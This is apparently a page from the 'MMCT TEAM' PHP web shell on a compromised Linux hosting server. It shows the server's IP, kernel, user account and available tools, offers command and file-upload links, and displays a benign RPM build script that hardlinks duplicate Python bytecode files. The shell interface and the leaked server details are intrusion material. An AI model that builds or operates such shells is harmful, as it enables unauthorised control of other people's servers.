MMCT TEAM
Server IP : 192.185.129.71  /  Your IP : 52.14.195.185
Web Server : Apache
System : Linux bh-ht-3.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : svymadmin ( 4072)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/rpm/redhat/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/rpm/redhat/brp-python-hardlink
#!/bin/sh

# If using normal root, avoid changing anything.
if [ -z "$RPM_BUILD_ROOT" -o "$RPM_BUILD_ROOT" = "/" ]; then
	exit 0
fi

# Hardlink identical *.pyc and *.pyo, originally from PLD's rpm-build-macros
# Modified to use sha1sum instead of cmp to avoid a diffutils dependency.
find "$RPM_BUILD_ROOT" -type f -name "*.pyc" | while read pyc ; do
       pyo="$(echo $pyc | sed -e 's/.pyc$/.pyo/')"
       if [ -f "$pyo" ] ; then
               csha="$(sha1sum -b "$pyc" | cut -d' ' -f 1)" && \
               osha="$(sha1sum -b "$pyo" | cut -d' ' -f 1)" && \
               if [ "$csha" = "$osha" ] ; then
                       ln -f "$pyc" "$pyo"
               fi
       fi
done

MMCT - 2023